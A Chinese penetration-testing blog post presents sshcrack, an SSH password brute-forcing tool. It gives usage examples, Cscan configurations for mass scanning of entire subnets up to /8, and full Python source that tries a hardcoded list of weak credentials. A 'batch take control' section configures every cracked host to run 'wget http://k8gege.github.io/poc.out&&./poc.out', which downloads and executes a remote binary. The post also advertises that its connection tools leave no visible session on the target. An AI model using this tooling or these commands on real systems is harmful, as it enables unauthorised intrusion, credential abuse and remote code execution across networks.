[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)

时间:2023-03-08 17:39:44

0x000 前言

sshcrack是一个命令行下的SSH密码爆破工具,适用于内渗中SSH密码检测

当然也可用于外网SSH密码爆破,支持Windows/Linux,其它系统未测。Tip1

0x001 目录

1.sshcrack用法

2.Cscan批量扫描

3.连接SSH执行命令

4.sshcrack源码

5.SSH批量上控

6.工具下载

0x002 用法

指定SSH服务器密码检测

弱口令检测 (-crack 用户密码可随便写,因为帐密列表已写死)
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root k8gege -crack
192.168.1.106 22 root toor LoginOK 单密码验证 (-test )
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root toor -test
192.168.1.106 22 root toor LoginOK

[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)

0x003 批量SSH服务器密码检测

以下功能可使用Ladon SshScan模块,更简单易用。

0.将Cscan.exe Cscan.ini sshcrack.exe放置同一目录

Cscan.ini内容如下

1.爆破弱口令(当前无密码或已获取多个帐密)

[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 "" "" -crack

2.验证一个已知密码(快速检测内网其它机器是否使用同一帐密)

[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 root k8gege -test

3.Cscan扫描单个C段/B段/A段机器

cscan 192.168.1.108 (单个IP)
cscan 192.168.1.108/24 (C段)
cscan 192.168.1.108/16 (B段)
cscan 192.168.1.108/8 (A段)

4.Cscan批量IP/批量C段/批量B段扫描

新建 ip24.txt或ip16.tx或ip.txt 文件,然后输入Cscan即可(无需其它参数)

以下Cscan.ini不指定端口,因通过K8portscan识别出来非22端口

不指定端口意味着ip.txt里需要填写上对应SSH端口

[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)

0x004 连接SSH执行命令

1.sshshell交互式连接

sshshell.exe 192.168.1.106 22 root toor

sshshell.exe 单文件交互式SSH连接工具(优点类似putty可保持会话,缺点也类似putty保持连接)

[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)

2.sshcmd命令行非交互式

优点都是执行完命令立即注销会话(即目标机看不到网络连接),内网渗透专用

[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)

3.渗透专版SSH连接工具GUI版

优点都是执行完命令立即注销会话(即目标机看不到网络连接),渗透专用,内网可代理出来或外网SSH连接时用

当然也可用于日常VPS管理用,GUI版带文件管理,支持上传下载单个文件或整个目录

[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)

0x005 sshcrack源码

建议密码写死,方便配合Cscan批量扫描,要不然每扫一台,sshcrack就读取一下密码列表,可能会影响批量效率。

以下是例子,大家可自行修改,根据自身项目添加对应密码字典,脚本还需完善,如跑出root密码后停止检测root用户或者不再爆破。

#sshcrack 1.0
#author: k8gege
#https://www.cnblogs.com/k8gege
#https://github.com/k8gege
import paramiko
import sys
import logging ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
logging.raiseExceptions=False
def checkSSH(host,port,user,pwd):
try:
ssh.connect(host,port,user,pwd)
print host+' '+port+' '+user+' '+pwd+' LoginOK'
except:
pass
host=sys.argv[1]
port=sys.argv[2]
user=sys.argv[3]
pwd=sys.argv[4]
type=sys.argv[5]
if type=='-test':
checkSSH(host,port,user,pwd)
elif type=='-crack':
checkSSH(host,port,'root','123456')
checkSSH(host,port,'root','cisco')
checkSSH(host,port,'root','Cisco')
checkSSH(host,port,'admin','123456')
checkSSH(host,port,'cisco','123456')
checkSSH(host,port,'cisco','cisco')
checkSSH(host,port,'Cisco','Cisco')
checkSSH(host,port,'cisco','cisco123')
checkSSH(host,port,'admin','admin')
checkSSH(host,port,'root','Admin')
checkSSH(host,port,'root','toor')
checkSSH(host,port,'root','Admin123')
checkSSH(host,port,'root','system')
checkSSH(host,port,'root','system123')
checkSSH(host,port,'root','System')
checkSSH(host,port,'root','System123')
checkSSH(host,port,'root','Admin123!@#')
checkSSH(host,port,'root','root123!@#')
checkSSH(host,port,'root','root2019')
checkSSH(host,port,'root','root2018')
checkSSH(host,port,'root','root2017')
checkSSH(host,port,'root','root2016')
checkSSH(host,port,'root','root2015')
checkSSH(host,port,'root','root2014')
checkSSH(host,port,'root','root2013')
checkSSH(host,port,'root','root2012')
else:
checkSSH(host,port,user,pwd)

0x006 Linux批量上控

通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控

详见: [教程]K8Cscan调用外部程序例子(Win/Linux批量上控)

ip.txt内容  格式: IP 端口 用户 帐密

192.168.1.8 22 root k8123456
192.168.1.100 444 root admin123
10.1.11.5 22 root p@walod
172.3.4.6 22 root test

Cscan.ini内容

[Cscan]
exe=sshcmd.exe
arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"

0x007 工具下载

https://github.com/k8gege/sshshell

https://github.com/k8gege/K8tools

https://github.com/k8gege/K8CScan

Tip1: Python写的程序一定跨平台?

Python虽是跨平台语言,但不见得Python写的程序一定支持所有系统

支不支持主要是看写代码的人,比如有些依赖包仅Linux下或Win下可用

你直接调用人家的包,未做任何修改,你认为一定是跨平台吗???

就算是只用原生包写的功能,也不能保证完全兼容

有些功能针对于不同系统需做不同的处理

Tip2: SSH连接工具详细说明

[原创]内网渗透专用SSH连接工具sshcmd/sshshell/ssh密码破解以及Kali开启SSH

https://www.cnblogs.com/k8gege/p/10991264.html